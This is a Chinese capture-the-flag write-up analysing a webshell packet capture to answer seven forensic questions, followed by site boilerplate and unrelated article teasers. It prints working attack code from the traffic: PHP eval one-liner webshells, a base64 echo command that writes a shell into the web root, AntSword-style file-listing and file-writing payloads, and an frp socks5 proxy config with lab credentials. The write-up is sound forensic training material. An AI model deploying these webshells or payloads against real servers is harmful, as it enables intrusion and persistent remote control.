陇剑杯 流量分析 webshell CTF writeup

陇剑杯 流量分析

链接:https://pan.baidu.com/s/1KSSXOVNPC5hu_Mf60uKM2A?pwd=haek 
提取码:haek

目录结构
LearnCTF
├───LogAnalize
│   ├───linux简单日志分析
│   │       linux-log_2.zip
│   │
│   ├───misc日志分析
│   │       access.log
│   │
│   ├───misc简单日志分析
│   │       app.log
│   │
│   ├───sql注入分析
│   │       SQL.zip
│   │
│   └───windows日志分析
│           security-testlog_2.zip
│
└───TrafficAnalize
    ├───ios
    │       ios.zip
    │
    └───webshell
            hack.pcap

 本篇内容题目在 TrafficAnalize -> webshell 中

0x01webshell

webshell1

黑客攻击了我的网站,不过我记录了之前发生的流量,请帮忙分析流量回答webshell1-7

webshell1: 黑客登录系统使用的密码是_____________。

whireshark打开.pcap文件
查询语句

http.request.method == "POST"

登录业务的用户名和密码大多使用post方法传递

在这里插入图片描述
不难看出用户名和密码

webshell2

webshell-2: 黑客修改了一个日志文件,文件的绝对路径为_____________。(请确认绝对路径后再提交)

/var/www/html/data/Runtime/Logs/Home/21_08_07.log
看两个点

  1. 写马
  2. linux apache 的默认路径

No.306
写了一个马

Form item: "tpl" = "<?php eval($_REQUEST[a]);phpinfo(); ob_flush();?>/r/n<qscms/company_show 列表名="info" 企业id="$_GET['id']"/>"

No.315又写了个ma

Form item: "tpl" = "<?php eval($_REQUEST[aaa]);phpinfo(); ob_flush();?>/r/n<qscms/company_show 列表名="info" 企业id="$_GET['id']"/>"

从RCE看ifconfig, pwd来看能确定受害机为Linux

No.329

Form item: "aaa" = "system('echo PD9waHAgZXZhbCgkX1JFUVVFU1RbYWFhXSk7Pz4=|base64 -d');"

一眼base64,看看是啥东西

<?php eval($_REQUEST[aaa]);?>

是个小马

No.332

Form item: "tpl" = "data/Runtime/Logs/Home/21_08_07.log"
Form item: "aaa" = "system('echo PD9waHAgZXZhbCgkX1JFUVVFU1RbYWFhXSk7Pz4=|base64 -d > /var/www/html/1.php');"

在这里插入图片描述

熟悉linux命令操作就能看出黑客修改了文件,通过1.php将马写入.log文件,这个修改的log的路径是个相对的路径,题目需要提交绝对路径
linux中apache的默认路径是/var/www/html拼接相对路径data/Runtime/Logs/Home/21_08_07.log即可

webshell3

webshell-3: 黑客获取webshell之后,权限是______?

看看黑客是什么权限
黑客使用whoami查看自己的权限
在这里插入图片描述
flag为www-data

webshell4

webshell-4: 黑客写入的webshell文件名是_____________。(请提交带有文件后缀的文件名,例如x.txt)
在这里插入图片描述
在这里插入图片描述

马在哪?1.php,黑客写向1.php写入马之后用webshell进行RCE当然要向1.php发送请求,因为1.php有马

webshell5

webshell-5: 黑客上传的代理工具客户端名字是_____________。(如有字母请全部使用小写)
No.332在1.php中写了马
No.347之后有一长段TCP加密数据包

所以No.332 到 No.346是考虑的重点
这一段数据包中有请求和响应

其中POST包中的aaa 键有代码
收集5段Php代码,看看写的是什么

1

@ini_set("display_errors", "0");
@set_time_limit(0);
function asenc($out) {
	return $out;
}
;
function asoutput() {
	$output=ob_get_contents();
	ob_end_clean();
	echo "bc"."0f2";
	echo @asenc($output);
	echo "f797e"."322e0";
}
ob_start();
try {
	$D=dirname($_SERVER["SCRIPT_FILENAME"]);
	if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);
	$R="{$D}	";
	if(substr($D,0,1)!="/") {
		foreach(range("C","Z")as $L)if(is_dir("{$L}:"))$R.="{$L}:";
	} else {
		$R.="/";
	}
	$R.="	";
	$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";
	$s=($u)?$u["name"]:@get_current_user();
	$R.=php_uname();
	$R.="	{$s}";
	echo $R;
	;
}
catch(Exception $e) {
	echo "ERROR://".$e->getMessage();
}
;
asoutput();
die();

2

@ini_set("display_errors", "0");
@set_time_limit(0);
function asenc($out) {
	return $out;
}
;
function asoutput() {
	$output=ob_get_contents();
	ob_end_clean();
	echo "5a3"."dc6";
	echo @asenc($output);
	echo "12f"."968a";
}
ob_start();
try {
	$D=dirname($_SERVER["SCRIPT_FILENAME"]);
	if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);
	$R="{$D}	";
	if(substr($D,0,1)!="/") {
		foreach(range("C","Z")as $L)if(is_dir("{$L}:"))$R.="{$L}:";
	} else {
		$R.="/";
	}
	$R.="	";
	$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";
	$s=($u)?$u["name"]:@get_current_user();
	$R.=php_uname();
	$R.="	{$s}";
	echo $R;
	;
}
catch(Exception $e) {
	echo "ERROR://".$e->getMessage();
}
;
asoutput();
die();

3

@ini_set("display_errors", "0");
@set_time_limit(0);
function asenc($out) {
	return $out;
}
;
function asoutput() {
	$output=ob_get_contents();
	ob_end_clean();
	echo "43d874"."d82ece";
	echo @asenc($output);
	echo "2cd"."697";
}
ob_start();
try {
	$D=base64_decode(substr($_POST["j68071301598f"],2));
	$F=@opendir($D);
	if($F==NULL) {
		echo("ERROR:// Path Not Found Or No Permission!");
	} else {
		$M=NULL;
		$L=NULL;
		while($N=@readdir($F)) {
			$P=$D.$N;
			$T=@date("Y-m-d H:i:s",@filemtime($P));
			@$E=substr(base_convert(@fileperms($P),10,8),-4);
			$R="	".$T."	".@filesize($P)."	".$E."
";
			if(@is_dir($P))$M.=$N."/".$R; else $L.=$N.$R;
		}
		echo $M.$L;
		@closedir($F);
	}
	;
}
catch(Exception $e) {
	echo "ERROR://".$e->getMessage();
}
;
asoutput();
die();

4

@ini_set("display_errors", "0");
@set_time_limit(0);
function asenc($out) {
	return $out;
}
;
function asoutput() {
	$output=ob_get_contents();
	ob_end_clean();
	echo "28"."f72";
	echo @asenc($output);
	echo "f486"."11f4";
}
ob_start();
try {
	$f=base64_decode(substr($_POST["j68071301598f"],2));
	$c=$_POST["xa5d606e67883a"];
	$c=str_replace("\r","",$c);
	$c=str_replace("\n","",$c);
	$buf="";
	for ($i=0;$i<strlen($c);$i+=2)$buf.=urldecode("%".substr($c,$i,2));
	echo(@fwrite(fopen($f,"a"),$buf)?"1":"0");
	;
}
catch(Exception $e) {
	echo "ERROR://".$e->getMessage();
}
;
asoutput();
die();

5

@ini_set("display_errors", "0");
@set_time_limit(0);
function asenc($out) {
	return $out;
}
;
function asoutput() {
	$output=ob_get_contents();
	ob_end_clean();
	echo "693"."d434";
	echo @asenc($output);
	echo "a3"."7cb";
}
ob_start();
try {
	$D=base64_decode(substr($_POST["j68071301598f"],2));
	$F=@opendir($D);
	if($F==NULL) {
		echo("ERROR:// Path Not Found Or No Permission!");
	} else {
		$M=NULL;
		$L=NULL;
		while($N=@readdir($F)) {
			$P=$D.$N;
			$T=@date("Y-m-d H:i:s",@filemtime($P));
			@$E=substr(base_convert(@fileperms($P),10,8),-4);
			$R="	".$T."	".@filesize($P)."	".$E."
";
			if(@is_dir($P))$M.=$N."/".$R; else $L.=$N.$R;
		}
		echo $M.$L;
		@closedir($F);
	}
	;
}
catch(Exception $e) {
	echo "ERROR://".$e->getMessage();
}
;
asoutput();
die();

代码中以POST方法接收了字段j68071301598f的值,对值的前两位去掉再base64解码

数据包中恰好有几个j68071301598f的值,用base64解码看看写的是什么

base64加密值有两个


hML3Zhci93d3cvaHRtbC8=

FBL3Zhci93d3cvaHRtbC9mcnBjLmluaQ==

将原始值前两位去掉,解出

/var/www/html/frpc.ini

.ini文件是个配置文件。类似的,php中有.user.ini作为配置文件,利用.user.ini也是ctf中的考点
frpc看上去比较陌生,搜一下,是个内网穿透工具,它会不会是黑客上传的代理工具客户端呢?
是的,它就是代理工具客户端

比较奇怪的是No.346是加密TCP前的最后一个HTTP响应包
响应的html内容就有frpc.ini,如果对frpc比较熟悉应当能直接看出吧
在这里插入图片描述

找到的数据包的内容是(copy不完整)

Frame 343: 1681 bytes on wire (13448 bits), 1681 bytes captured (13448 bits)
Null/Loopback
Internet Protocol Version 4, Src: 192.168.2.197, Dst: 192.168.2.197
Transmission Control Protocol, Src Port: 61922, Dst Port: 8081, Seq: 1, Ack: 1, Len: 1625
Hypertext Transfer Protocol
HTML Form URL Encoded: application/x-www-form-urlencoded
     [truncated]Form item: "aaa" = "@ini_set("display_errors", "0");@set_time_limit(0);function asenc($out){return $out;};function asoutput(){$output=ob_get_contents();ob_end_clean();echo "28"."f72";echo @asenc($output);echo "f486"."11f4";}ob_
        Key: aaa
        Value [truncated]: @ini_set("display_errors", "0");@set_time_limit(0);function asenc($out){return $out;};function asoutput(){$output=ob_get_contents();ob_end_clean();echo "28"."f72";echo @asenc($output);echo "f486"."11f4";}ob_start();try{$
    Form item: "j68071301598f" = "FBL3Zhci93d3cvaHRtbC9mcnBjLmluaQ=="
        Key: j68071301598f
        Value: FBL3Zhci93d3cvaHRtbC9mcnBjLmluaQ==
     [truncated]Form item: "xa5d606e67883a" = "5B636F6D6D6F6E5D0A7365727665725F61646472203D203139322E3136382E3233392E3132330A7365727665725F706F7274203D20373737380A746F6B656E3D586133424A66326C35656E6D4E365A3741386D760A0A5B746573745F736F636B355D
        Key: xa5d606e67883a
        Value [truncated]: 5B636F6D6D6F6E5D0A7365727665725F61646472203D203139322E3136382E3233392E3132330A7365727665725F706F7274203D20373737380A746F6B656E3D586133424A66326C35656E6D4E365A3741386D760A0A5B746573745F736F636B355D0A74797065203D207463700A

webshell6

webshell-6: 黑客代理工具的回连服务端IP是_______

上面得到了有关frpc.ini的数据包,在这个包中的一个POST参数(copy不完整)

 [truncated]Form item: "xa5d606e67883a" = "5B636F6D6D6F6E5D0A7365727665725F61646472203D203139322E3136382E3233392E3132330A7365727665725F706F7274203D20373737380A746F6B656E3D586133424A66326C35656E6D4E365A3741386D760A0A5B746573745F736F636B355D
    Key: xa5d606e67883a
    Value [truncated]: 5B636F6D6D6F6E5D0A7365727665725F61646472203D203139322E3136382E3233392E3132330A7365727665725F706F7274203D20373737380A746F6B656E3D586133424A66326C35656E6D4E365A3741386D760A0A5B746573745F736F636B355D0A74797065203D207463700A

代码审计,发现代码中以POST接收了xa5d606e67883a的值

数据包中 xa5d606e67883a的值看起来是加密的,而且是变长加密,考虑加密方式是askii或hex(16进制)

变长加密还有URL编码和base64编码,观察它的特征,没有%不考虑URL编码,没有大写字母或等于号或最后以==结尾,不考虑base64编码

不考虑md5

不考虑unicode 因为没有/u或/x

在这里插入图片描述


5B636F6D6D6F6E5D0A7365727665725F61646472203D203139322E3136382E3233392E3132330A7365727665725F706F7274203D20373737380A746F6B656E3D586133424A66326C35656E6D4E365A3741386D760A0A5B746573745F736F636B355D0A74797065203D207463700A72656D6F74655F706F7274203D383131310A706C7567696E203D20736F636B73350A706C7567696E5F75736572203D2030484446743136634C514A0A706C7567696E5F706173737764203D204A544E32373647700A7573655F656E6372797074696F6E203D20747275650A7573655F636F6D7072657373696F6E203D20747275650A

解出

[common]
server_addr = 192.168.239.123
server_port = 7778
token=Xa3BJf2l5enmN6Z7A8mv

[test_sock5]
type = tcp
remote_port =8111
plugin = socks5
plugin_user = 0HDFt16cLQJ
plugin_passwd = JTN276Gp
use_encryption = true
use_compression = true

一眼丁真

ip 是 192.168.239.123

webshell 7

webshell-7: 黑客的socks5的连接账号、密码是______。(中间使用#号隔开,例如admin#passwd):

上一题解出来了
一眼丁真
0HDFt16cLQJ#JTN276Gp

参考

https://www.cnblogs.com/GKLBB/p/15303391.html
分析黑客到底如何getshell,很牛

https://www.cnblogs.com/leo1017/p/17949472
包含流量分析和日志分析,很牛

https://www.cnblogs.com/summer14/p/17261624.html
陇剑杯wp相关,很牛

https://www.cnblogs.com/lcxblogs/p/15378172.html
陇剑杯wp相关,很牛

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/549360.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

阿里云优惠券种类介绍及领取教程详解

随着互联网技术的快速发展&#xff0c;越来越多的企业和个人开始将业务和数据迁移到云端。阿里云作为国内领先的云服务提供商&#xff0c;为广大用户提供了丰富多样的云产品和服务。为了回馈用户&#xff0c;阿里云经常推出各种优惠活动&#xff0c;其中优惠券就是其中一种常见…

记录一下我hive连不上DataGrip的问题

用户名和密码都没问题&#xff0c;但报如下这个错误 原因&#xff1a;是因为我在linux上没启hiveserver2服务 解决&#xff1a; [atguiguhadoop102 hadoop]$ hiveserver2 which: no hbase in (/usr/local/bin:/usr/bin:/usr/local/sbin:/usr/sbin:/opt/module/jdk1.8…

第19天:信息打点-小程序应用解包反编译动态调试抓包静态分析源码架构

第十九天 本课意义 1.如何获取到目标小程序信息 2.如何从小程序中提取资产信息 一、Web&备案信息&单位名称中发现小程序 1.国内主流小程序平台 微信 百度 支付宝 抖音头条 2.小程序结构 1.主体结构 小程序包含一个描述整体程序的app和多个描述各自页面的page …

RAG算法优化+新增代码仓库支持,CodeGeeX的@repo功能效果提升

CodeGeeX在升级到第三代模型时&#xff0c;就引入了RAG检索增强生成的能力。即模型会根据检索到的相关背景知识生成回答&#xff0c;大幅减轻生成内容的幻觉性。在CodeGeeX插件中&#xff0c;是通过侧边栏对话框中输入“repo”触发 RAG 技术。用户可以对开源代码仓库进行提问&a…

HG泄露(ctfhub)

工具准备&#xff1a;dirsearch、dvcs-ripper 网络安全之渗透测试全套工具篇&#xff08;内含安装以及使用方法&#xff09;_dvcs-ripper-CSDN博客 dvcs-ripper&#xff1a;一款perl的版本控制软件信息泄露利用工具&#xff0c;支持bzr、cvs、git、hg、svn... tree //树状…

突破编程_前端_SVG(使用 svg-pan-zoom 库进行平移与缩放)

1 svg-pan-zoom 概述 svg-pan-zoom 是一个轻量级、高性能且易于使用的 JavaScript 库&#xff0c;专为增强 SVG 图像的浏览体验而设计。它提供了平移和缩放功能&#xff0c;使用户能够无缝探索大型或复杂的 SVG 图形。这个库允许用户对SVG图像进行交互操作&#xff0c;包括缩放…

App怎么创建百度百科词条

创建一个App的百度百科词条可以帮助提高App的知名度和权威性&#xff0c;以下是详细的创建步骤和注意事项&#xff1a; 创建步骤 注册百度账号&#xff1a;首先&#xff0c;你需要有一个百度账号&#xff0c;如果没有&#xff0c;你需要按照步骤申请一个&#xff0c;这一步骤是…

【ENSP】华为三层交换机配置AAA认证,开启telnet服务

配置步骤 1.给交换机配置ip地址&#xff0c;以便登陆 2.配置AAA&#xff0c;用户名&#xff0c;密码&#xff0c;服务类型&#xff0c;用户权限 3.配置接入设备的数量 4.开启telnet服务 LSW2交换机配置 u t m #关闭提示 sys …

[Linux]--关于进程控制

进程创建,fork/vfork 在linux中fork函数是非常重要的函数&#xff0c;它从已存在进程中创建一个新进程。新进程为子进程&#xff0c;而原进程为父进程。 #include <unistd.h> pid_t fork(void); 返回值&#xff1a;自进程中返回0&#xff0c;父进程返回子进程id&#x…

网工内推 | 等保测评工程师,朝九晚六,周末双休,有相关认证优先

01 江苏国保测评中心 招聘岗位&#xff1a;等保测评工程师 职责描述&#xff1a; 1.测评类项目的物理安全测评、主机安全测评、数据安全测评、应用安全测评、风险评估、差距分析等并编制相关报告; 2.协助业务部门完成网络安全等级保护测评、信息安全咨询、信息安全风险评估等项…

第1章:自动驾驶车辆“规划”与“控制”的通用架构

1.1 自动驾驶的分级 2014年美国汽车工程师学会 (SAE) 定义了6个无人驾驶等级&#xff0c;从0级&#xff08;完全手动&#xff09;到5级&#xff08;完全自动&#xff09;&#xff0c;这些无人驾驶等级准则已经被美国交通部采纳&#xff1b;该标准也被称为SAE标准&#xff1b; …

数模转换(ADC)、IIC、2440内部IIC寄存器、主机发送、主机接收

我要成为嵌入式高手之4月15日ARM第八天&#xff01;&#xff01; ———————————————————————————— ADC 概念 ADC是模拟到数字转换器的缩写。是一种电子设备或者模块。用于将连续变化的模拟信号转换为离散的数字信号&#xff0c;以便数字系统能够对…

Open3D 体素滤波(30)

Open3D 体素滤波(30) 一、算法介绍二、算法实现1.代码2.效果一、算法介绍 体素滤波(Voxel Grid Filtering)是一种常用的点云滤波算法,用于对点云数据进行下采样(降低数据密度)以及去除噪声。该算法将点云数据划分为规则的体素网格,然后在每个体素中选择一个代表性点作为…

动态规划算法求解最长公共子序列

动态规划算法是运筹学中求解多阶段决策问题的经典算法&#xff0c;本文将介绍动态规划算法的基本思想&#xff0c;并介绍如何使用动态规划算法求解最长公共子序列问题。 1. 动态规划算法的基本思想 动态规划算法本质也是基于分治思想&#xff0c;将待求解问题分解成若干个子问…

掀起区块链开发狂潮!Scaffold-eth带你一键打造震撼DApp

文章目录 前言一、Scaffold-eth是什么&#xff1f;二、安装和配置1.准备工作2.安装3.配置开发环境 三、进阶使用1.放入自己的合约2.部署运行 总结 前言 前面的文章传送&#x1f6aa;&#xff1a;hardhat入门 与 hardhat进阶 在之前的文章中&#xff0c;我们已经探讨了使用Har…

c++-----继承

01&#xff1a;继承是什么 定义 继承 (inheritance) 机制是面向对象程序设计 使代码可以复用 的最重要的手段&#xff0c;它允许程序员在 保 持原有类特性的基础上进行扩展 &#xff0c;增加功能&#xff0c;这样产生新的类&#xff0c;称派生类。继承 呈现了面向对象 程序设计…

【C语言】带你完全理解指针(六)指针笔试题

目录 1. 2. 3. 4. 5. 6. 7. 8. 1. int main() {int a[5] { 1, 2, 3, 4, 5 };int* ptr (int*)(&a 1);printf("%d,%d", *(a 1), *(ptr - 1));return 0; } 【答案】 2&#xff0c;5 【解析】 定义了一个指向整数的指针ptr&#xff0c;并将其初始化为&…

FactoryMethod工厂方法模式详解

目录 模式定义实现方式简单工厂工厂方法主要优点 应用场景源码中的应用 模式定义 定义一个用于创建对象的接口&#xff0c;让子类决定实例化哪一个类。 Factory Method 使得一个类的实例化延迟到子类。 实现方式 简单工厂 以下示例非设计模式&#xff0c;仅为编码的一种规…

在centos8.5上迁移深度学习环境的时候碰到的一下问题(需要运维人员解决的)

我负责的是将开发服务器上的深度学习环境进行打包并将该环境迁移到生产服务器上&#xff0c;这些操作可以在其他博客中搜到 本文主要介绍我把环境包上传至生产服务器中的anaconda/envs/路径下&#xff0c;解压之后&#xff0c;运行测试代码时遇到的问题 IT部门是如何处理的&am…

mfc 带有复选框的ListBox

mfc 带有复选框的 ListBox 效果&#xff1a; 添加 ListBox 控件 从工具箱拖拽 ListBox 控件到窗口上&#xff0c;并设置属性&#xff1a; 包含字符串&#xff1a;true所有者描述&#xff1a;Fixed 给ListBox添加控制变量 添加完后&#xff0c;将m_list_box的类型使用CC…